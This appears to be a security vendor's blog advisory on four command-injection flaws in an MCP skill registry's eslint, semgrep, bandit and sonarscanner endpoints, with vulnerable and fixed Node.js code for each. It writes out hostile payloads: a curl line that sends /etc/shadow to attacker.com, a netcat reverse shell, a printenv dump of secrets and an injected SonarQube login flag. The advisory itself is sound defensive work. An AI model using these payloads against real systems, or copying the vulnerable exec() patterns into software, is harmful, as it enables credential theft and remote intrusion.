← Blog

Claude MCP skill code injection — skill static analysis and linting pipeline endpoints (SA-SKL-INJECTION76)

SA-SKL-INJECTION76 identifies four code injection vulnerabilities in MCP skill registry skill static analysis and linting pipeline endpoints. INJECTION76-001 exploits a shell-interpolated eslint invocation where an attacker-controlled configPath containing a semicolon-separated shell command reads /etc/shadow and exfiltrates system password hashes from the linting worker — credentials that give an attacker offline cracking material for every account on the host system. INJECTION76-002 exploits a shell-interpolated semgrep invocation where an attacker-controlled rulesetPath containing a semicolon-separated netcat invocation establishes a reverse shell from the static analysis worker, providing an interactive foothold on the analysis infrastructure with access to internal services. INJECTION76-003 exploits a shell-interpolated bandit invocation where an attacker-controlled configFile path containing a semicolon-separated printenv exfiltrates all environment variables from the analysis worker — including ANTHROPIC_API_KEY, cloud provider credentials, and any secrets injected by the CI/CD orchestrator. INJECTION76-004 exploits a sonarscanner invocation where an attacker-controlled projectKey containing a space and an injected -Dsonar.login property overrides the SonarQube authentication target, silently redirecting all scan results including source code findings to an attacker-controlled SonarQube account.

SA-SKL-INJECTION76 findings at a glance
CRITICALINJECTION76-001 — exec(`eslint --config ${configPath} --format ${outputFormat} ${targetPath}`) — attacker configPath with ; cat /etc/shadow exfiltrates system credentials from linting worker
CRITICALINJECTION76-002 — exec(`semgrep --config ${rulesetPath} --output ${outputPath} ${targetPath}`) — attacker rulesetPath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from static analysis worker
CRITICALINJECTION76-003 — exec(`bandit -c ${configFile} -f ${outputFormat} ${targetPath}`) — attacker configFile with ; printenv exfiltrates all env vars including ANTHROPIC_API_KEY and cloud credentials from analysis worker
HIGHINJECTION76-004 — exec(`sonarscanner -Dsonar.projectKey=${projectKey} -Dsonar.sources=${sourcePath}`) — attacker projectKey with space-injected -Dsonar.login=attacker@evil.com redirects SonarQube scan results to attacker-controlled account

INJECTION76-001 — eslint configPath injection exfiltrates /etc/shadow

The static analysis pipeline constructs an eslint shell command by interpolating the user-supplied configPath, outputFormat, and targetPath values directly into a template string passed to child_process.exec(). The exec() function passes the entire string to /bin/sh -c, which interprets semicolons as command separators. An attacker who can submit a linting job — available to any authenticated skill publisher using the platform's automated code quality gate — crafts a configPath value containing a semicolon followed by a command that reads and exfiltrates the system password hash file: .eslintrc.json; cat /etc/shadow | base64 | curl -d @- attacker.com. The linting worker executes the legitimate eslint command for the first token (which may fail to find the config file), then executes the injected command in the same shell context — reading /etc/shadow, base64-encoding it to handle special characters, and POSTing it to the attacker's server. The shadow file contains hashed passwords for every account on the linting worker host, providing offline cracking material that can yield plaintext credentials for root, service accounts, and any other user whose password is derivable from the hash. Because linting workers are shared infrastructure serving all publishers, a single successful injection gives the attacker password material for the entire analysis fleet.

The linting endpoint is a high-value injection target because static analysis tools are designed to read configuration from arbitrary file paths — a design that encourages accepting user-supplied paths as a feature rather than treating them as untrusted input. The codepath also returns analysis output including stdout and stderr to the caller for debugging, which provides the exfiltration channel: the injected command's output is mixed into the stdout stream that is returned as the linting result. Even if the linting job is submitted asynchronously, the full stdout is typically persisted in the job result store and queryable through the job history API, giving the attacker multiple retrieval vectors.

Vulnerable
// INJECTION76-001 — VULNERABLE: shell interpolation of configPath in eslint command
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function runEslintAnalysis(skillId, configPath, outputFormat, targetPath) {
  // attacker configPath: '.eslintrc.json; cat /etc/shadow | base64 | curl -d @- attacker.com'
  const cmd = `eslint --config ${configPath} --format ${outputFormat} ${targetPath}`;
  const { stdout, stderr } = await execAsync(cmd, {
    cwd: `/analysis/${skillId}`,
    env: process.env
  });
  // /etc/shadow hash dump mixed into linting output and returned to attacker
  return { lintOutput: stdout, errors: stderr };
}

/etc/shadow password hashes give an attacker offline cracking material for every account on the shared linting worker fleet — a single injection exfiltrates credentials that may unlock root access, service account tokens, and SSH keys across the entire analysis infrastructure. execFile() passes each argument as a separate array element to the OS, bypassing shell interpretation entirely; CONFIG_PATH_RE rejects values containing semicolons, pipes, or any character outside a filename character allowlist; a stripped environment with only PATH set prevents secrets from being accessible even if another injection path exists.

Fixed
// INJECTION76-001 — FIXED: execFile() arg array; CONFIG_PATH_RE; stripped env
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

const CONFIG_PATH_RE = /^[a-zA-Z0-9_.\-]{1,100}$/;
const OUTPUT_FORMAT_RE = /^(stylish|compact|json|unix|visualstudio|checkstyle|html|tap|jslint-xml)$/;
const TARGET_PATH_RE = /^[a-zA-Z0-9_.\-\/]{1,255}$/;

async function runEslintAnalysis(skillId, configPath, outputFormat, targetPath) {
  if (!CONFIG_PATH_RE.test(configPath)) throw new Error(`Invalid config path: ${configPath}`);
  if (!OUTPUT_FORMAT_RE.test(outputFormat)) throw new Error(`Invalid output format: ${outputFormat}`);
  if (!TARGET_PATH_RE.test(targetPath)) throw new Error(`Invalid target path: ${targetPath}`);

  const analysisRoot = path.resolve(`/analysis/${skillId}`);
  const resolvedConfig = path.resolve(analysisRoot, configPath);
  if (!resolvedConfig.startsWith(analysisRoot + '/')) {
    throw new Error('Config path traversal rejected');
  }

  const { stdout, stderr } = await execFileAsync(
    'eslint',
    ['--config', resolvedConfig, '--format', outputFormat, targetPath],
    {
      cwd: analysisRoot,
      env: { PATH: '/usr/local/bin:/usr/bin:/bin' }
    }
  );
  return { lintOutput: stdout, errors: stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N — Base Score 9.0 (CRITICAL); scope changed because /etc/shadow exfiltration extends impact beyond the registry to every account on the shared linting worker host; integrity impact because cracked credentials may be reused to modify registry data or push malicious skill packages.

INJECTION76-002 — semgrep rulesetPath injection establishes reverse shell

The static analysis pipeline constructs a semgrep shell command by interpolating the user-supplied rulesetPath, outputPath, and targetPath values directly into a template string passed to child_process.exec(). Semgrep accepts a --config flag that specifies either a local path or a remote ruleset identifier, and the platform exposes this flag to publishers to allow custom security rulesets for their skills. An attacker who can submit a semgrep analysis job crafts a rulesetPath value containing a semicolon followed by a netcat reverse shell invocation: p/security-audit; nc attacker.com 4444 -e /bin/sh. The analysis worker executes the legitimate semgrep command for the first token, then executes the netcat command in the same shell context, connecting to the attacker's server and providing an interactive shell running as the analysis worker user. Static analysis workers run on the registry's internal analysis network with broad read access to skill source code repositories, the analysis results database, and internal API endpoints used to update skill security scores. A reverse shell from this network segment gives the attacker full access to source code for all skills submitted to the platform — including unreleased and private skills from competing publishers.

The semgrep analysis endpoint is a particularly high-value injection target because the tool's design encourages specifying external rulesets by URL or registry identifier — which means the input validation challenge is not simply rejecting all non-alphanumeric characters but distinguishing between legitimate external ruleset references (which may contain slashes, colons, and dots) and injected shell commands. This ambiguity in what constitutes a valid ruleset path makes it easier for a developer to rationalize skipping validation, and means that a permissive allowlist that accepts colons and slashes for URL-style ruleset identifiers will also accept the semicolon-prefixed commands used in this injection.

Vulnerable
// INJECTION76-002 — VULNERABLE: shell interpolation of rulesetPath in semgrep command
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function runSemgrepAnalysis(skillId, rulesetPath, outputPath, targetPath) {
  // attacker rulesetPath: 'p/security-audit; nc attacker.com 4444 -e /bin/sh'
  const cmd = `semgrep --config ${rulesetPath} --output ${outputPath} ${targetPath}`;
  const { stdout, stderr } = await execAsync(cmd, {
    cwd: `/analysis/${skillId}`,
    env: process.env
  });
  return { semgrepOutput: stdout, errors: stderr };
}

A reverse shell from the static analysis worker provides interactive access to all skill source code submitted to the platform, the analysis results database, and the internal API used to update security scores — an attacker gains a persistent foothold to exfiltrate competitor source code and manipulate audit results. execFile() passes the ruleset path as a separate array argument to the semgrep binary, bypassing shell interpretation; SEMGREP_RULESET_RE permits only alphanumeric characters, hyphens, slashes, and dots that are valid in semgrep registry identifiers while rejecting semicolons, pipes, and backticks; the stripped environment prevents credential exposure even if another injection path is later discovered.

Fixed
// INJECTION76-002 — FIXED: execFile() arg array; SEMGREP_RULESET_RE; stripped env
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

// Allow semgrep registry IDs (p/security-audit, r/python.lang.security) and local paths
const SEMGREP_RULESET_RE = /^[a-zA-Z0-9][a-zA-Z0-9_.\-\/]{0,127}$/;
const OUTPUT_PATH_RE = /^[a-zA-Z0-9_.\-]{1,100}$/;
const TARGET_PATH_RE = /^[a-zA-Z0-9_.\-\/]{1,255}$/;

async function runSemgrepAnalysis(skillId, rulesetPath, outputPath, targetPath) {
  if (!SEMGREP_RULESET_RE.test(rulesetPath)) throw new Error(`Invalid ruleset path: ${rulesetPath}`);
  if (!OUTPUT_PATH_RE.test(outputPath)) throw new Error(`Invalid output path: ${outputPath}`);
  if (!TARGET_PATH_RE.test(targetPath)) throw new Error(`Invalid target path: ${targetPath}`);

  const analysisRoot = path.resolve(`/analysis/${skillId}`);

  const { stdout, stderr } = await execFileAsync(
    'semgrep',
    ['--config', rulesetPath, '--output', outputPath, targetPath],
    {
      cwd: analysisRoot,
      env: { PATH: '/usr/local/bin:/usr/bin:/bin', HOME: '/tmp' }
    }
  );
  return { semgrepOutput: stdout, errors: stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 9.9 (CRITICAL); scope changed because production network access from reverse shell enables full compromise of internal services; availability impact because analysis infrastructure can be disrupted or destroyed from the interactive shell.

INJECTION76-003 — bandit configFile injection exfiltrates ANTHROPIC_API_KEY and cloud credentials

The static analysis pipeline constructs a bandit shell command by interpolating the user-supplied configFile, outputFormat, and targetPath values directly into a template string passed to child_process.exec(). Bandit is a Python static analysis tool for security issues, and the platform exposes its -c configuration file flag to allow publishers to customize analysis profiles for their Python skills. An attacker who can submit a bandit analysis job crafts a configFile value containing a semicolon followed by printenv: bandit.yaml; printenv. The analysis worker executes the legitimate bandit command, then executes printenv in the same shell context, writing all environment variables to stdout. The combined stdout is returned to the attacker in the analysis output. The environment variables on a bandit analysis worker typically include ANTHROPIC_API_KEY used by the registry's AI-assisted audit engine for LLM-powered code analysis, AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY for S3 access to skill package storage, REGISTRY_DB_PASSWORD for the analysis results database, and any other secrets injected by the orchestration layer for the analysis context. All of these secrets are exposed in a single printenv invocation.

The ANTHROPIC_API_KEY credential is a particularly high-value target in this context: it grants access to Claude API calls under the registry platform's billing account and rate limits, enabling an attacker to consume significant API quota at the platform's expense and to use the registry's trusted API credentials for prompt injection attacks against other systems that accept Claude API output from the platform. Cloud provider credentials exposed through printenv follow the same damage pattern as SSRF-based IMDS credential exfiltration but require no network access to the IMDS — the credentials are already present in the process environment and are exfiltrated through a standard stdout channel that bypasses network egress monitoring.

Vulnerable
// INJECTION76-003 — VULNERABLE: shell interpolation of configFile in bandit command
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function runBanditAnalysis(skillId, configFile, outputFormat, targetPath) {
  // attacker configFile: 'bandit.yaml; printenv'
  // stdout returns ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, REGISTRY_DB_PASSWORD, etc.
  const cmd = `bandit -c ${configFile} -f ${outputFormat} ${targetPath}`;
  const { stdout, stderr } = await execAsync(cmd, {
    cwd: `/analysis/${skillId}`,
    env: process.env   // all secrets in environment accessible to injected command
  });
  return { banditOutput: stdout, errors: stderr };
}

Secrets injected as environment variables are the most common CI/CD credential pattern — an attacker who can read the process environment from an analysis worker obtains ANTHROPIC_API_KEY, cloud provider credentials, and database passwords in a single printenv call, all without any network-level detection. execFile() passes each argument as a separate array element; CONFIG_FILE_RE rejects values containing semicolons or any character outside a valid YAML filename character set; a minimal environment containing only PATH ensures that secrets injected by the orchestrator are not accessible to the executed process even if another injection path is later discovered.

Fixed
// INJECTION76-003 — FIXED: execFile() arg array; CONFIG_FILE_RE; env stripped to PATH only
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

const CONFIG_FILE_RE = /^[a-zA-Z0-9_.\-]{1,100}\.ya?ml$/;
const OUTPUT_FORMAT_RE = /^(csv|json|xml|html|txt|screen)$/;
const TARGET_PATH_RE = /^[a-zA-Z0-9_.\-\/]{1,255}$/;

async function runBanditAnalysis(skillId, configFile, outputFormat, targetPath) {
  if (!CONFIG_FILE_RE.test(configFile)) throw new Error(`Invalid config file: ${configFile}`);
  if (!OUTPUT_FORMAT_RE.test(outputFormat)) throw new Error(`Invalid output format: ${outputFormat}`);
  if (!TARGET_PATH_RE.test(targetPath)) throw new Error(`Invalid target path: ${targetPath}`);

  const analysisRoot = path.resolve(`/analysis/${skillId}`);
  const resolvedConfig = path.resolve(analysisRoot, configFile);
  if (!resolvedConfig.startsWith(analysisRoot + '/')) {
    throw new Error('Config file path traversal rejected');
  }

  const { stdout, stderr } = await execFileAsync(
    'bandit',
    ['-c', resolvedConfig, '-f', outputFormat, targetPath],
    {
      cwd: analysisRoot,
      env: { PATH: '/usr/local/bin:/usr/bin:/bin' }
      // no secrets in environment — bandit process cannot read ANTHROPIC_API_KEY or cloud credentials
    }
  );
  return { banditOutput: stdout, errors: stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N — Base Score 9.0 (CRITICAL); scope changed because ANTHROPIC_API_KEY and cloud credential exfiltration extends impact to billing accounts, AI API quotas, and cloud services well beyond the registry system boundary.

INJECTION76-004 — sonarscanner projectKey whitespace injection redirects scan results to attacker account

The static analysis pipeline constructs a sonarscanner shell command by interpolating the user-supplied projectKey and sourcePath values directly into a template string passed to child_process.exec(). Unlike the previous findings that use semicolons to inject separate commands, this attack uses a space character to inject an additional SonarQube property flag. An attacker who can submit a SonarQube analysis job crafts a projectKey value containing a space followed by a -Dsonar.login property that specifies an attacker-controlled SonarQube account: my-skill -Dsonar.login=attacker@evil.com -Dsonar.password=s3cr3t. The sonarscanner invocation becomes sonarscanner -Dsonar.projectKey=my-skill -Dsonar.login=attacker@evil.com -Dsonar.password=s3cr3t -Dsonar.sources=/analysis/skillId, which SonarQube interprets as a valid invocation that authenticates as the attacker's account. All scan results — including every identified security vulnerability, code smell, bug, and duplicate code block in the target skill's source code — are uploaded to the attacker's SonarQube account rather than the publisher's project. SonarQube scan results contain the full source code context of every identified issue, effectively giving the attacker a copy of the analyzed source code line by line through the finding descriptions.

The flag injection via whitespace attack pattern is distinct from semicolon-based command injection in ways that make it particularly difficult to detect and block. The attack produces a zero exit code from sonarscanner — the scan completes successfully, just to the wrong account — meaning that build pipeline success/failure monitoring does not trigger an alert. The standard SSRF and injection detection patterns that look for semicolons, pipes, and backticks do not catch space-based flag injection. Because the platform returns the scan job ID and status to the publisher, the attack is also not immediately visible in the job response: the publisher sees a successful scan status, while the attacker receives the results through their SonarQube account dashboard.

Vulnerable
// INJECTION76-004 — VULNERABLE: space-injected -Dsonar.login flag via projectKey
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function runSonarScan(skillId, projectKey, sourcePath) {
  // attacker projectKey: 'my-skill -Dsonar.login=attacker@evil.com -Dsonar.password=s3cr3t'
  // resulting command uploads all scan results to attacker's SonarQube account
  const cmd = `sonarscanner -Dsonar.projectKey=${projectKey} -Dsonar.sources=${sourcePath}`;
  const { stdout, stderr } = await execAsync(cmd, {
    cwd: `/analysis/${skillId}`,
    env: process.env
  });
  // scan exits 0 — attacker has all source code findings; publisher receives no results
  return { scanOutput: stdout, errors: stderr };
}

Flag injection via whitespace is distinct from semicolon command injection — the attack produces a zero exit code, bypasses standard injection detection patterns, and silently exfiltrates all source code findings to an attacker-controlled SonarQube account without alerting the legitimate publisher. execFile() passes each argument as a separate array element, preventing whitespace from being interpreted as a flag separator; PROJECT_KEY_RE rejects values containing spaces, hyphens followed by capital D, or any character outside the alphanumeric and colon set that SonarQube project keys allow; each property is passed as a separate -D argument to prevent property injection across argument boundaries.

Fixed
// INJECTION76-004 — FIXED: execFile() arg array; PROJECT_KEY_RE; each -D as separate arg
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

// SonarQube project keys: alphanumeric, underscore, hyphen, colon, period
const PROJECT_KEY_RE = /^[a-zA-Z0-9_.\-:]{1,400}$/;
const SOURCE_PATH_RE = /^[a-zA-Z0-9_.\-\/]{1,255}$/;

async function runSonarScan(skillId, projectKey, sourcePath) {
  if (!PROJECT_KEY_RE.test(projectKey)) throw new Error(`Invalid project key: ${projectKey}`);
  if (!SOURCE_PATH_RE.test(sourcePath)) throw new Error(`Invalid source path: ${sourcePath}`);

  const analysisRoot = path.resolve(`/analysis/${skillId}`);

  const { stdout, stderr } = await execFileAsync(
    'sonarscanner',
    [
      `-Dsonar.projectKey=${projectKey}`,   // safe: execFile does not invoke shell
      `-Dsonar.sources=${sourcePath}`,       // each property passed as individual array element
      `-Dsonar.host.url=https://sonar.internal`,
      `-Dsonar.login=${process.env.SONAR_TOKEN}`
    ],
    {
      cwd: analysisRoot,
      env: {
        PATH: '/usr/local/bin:/usr/bin:/bin',
        SONAR_TOKEN: process.env.SONAR_TOKEN   // only expose the specific secret required
      }
    }
  );
  return { scanOutput: stdout, errors: stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — Base Score 8.1 (HIGH); confidentiality impact because all source code findings including full code context are exfiltrated to the attacker's SonarQube account; integrity impact because the legitimate publisher's project receives no scan results, potentially allowing vulnerabilities to pass the quality gate undetected.

SkillAudit scans for code injection patterns as part of its automated skill security audit. Get on the waitlist to audit your MCP skill registry.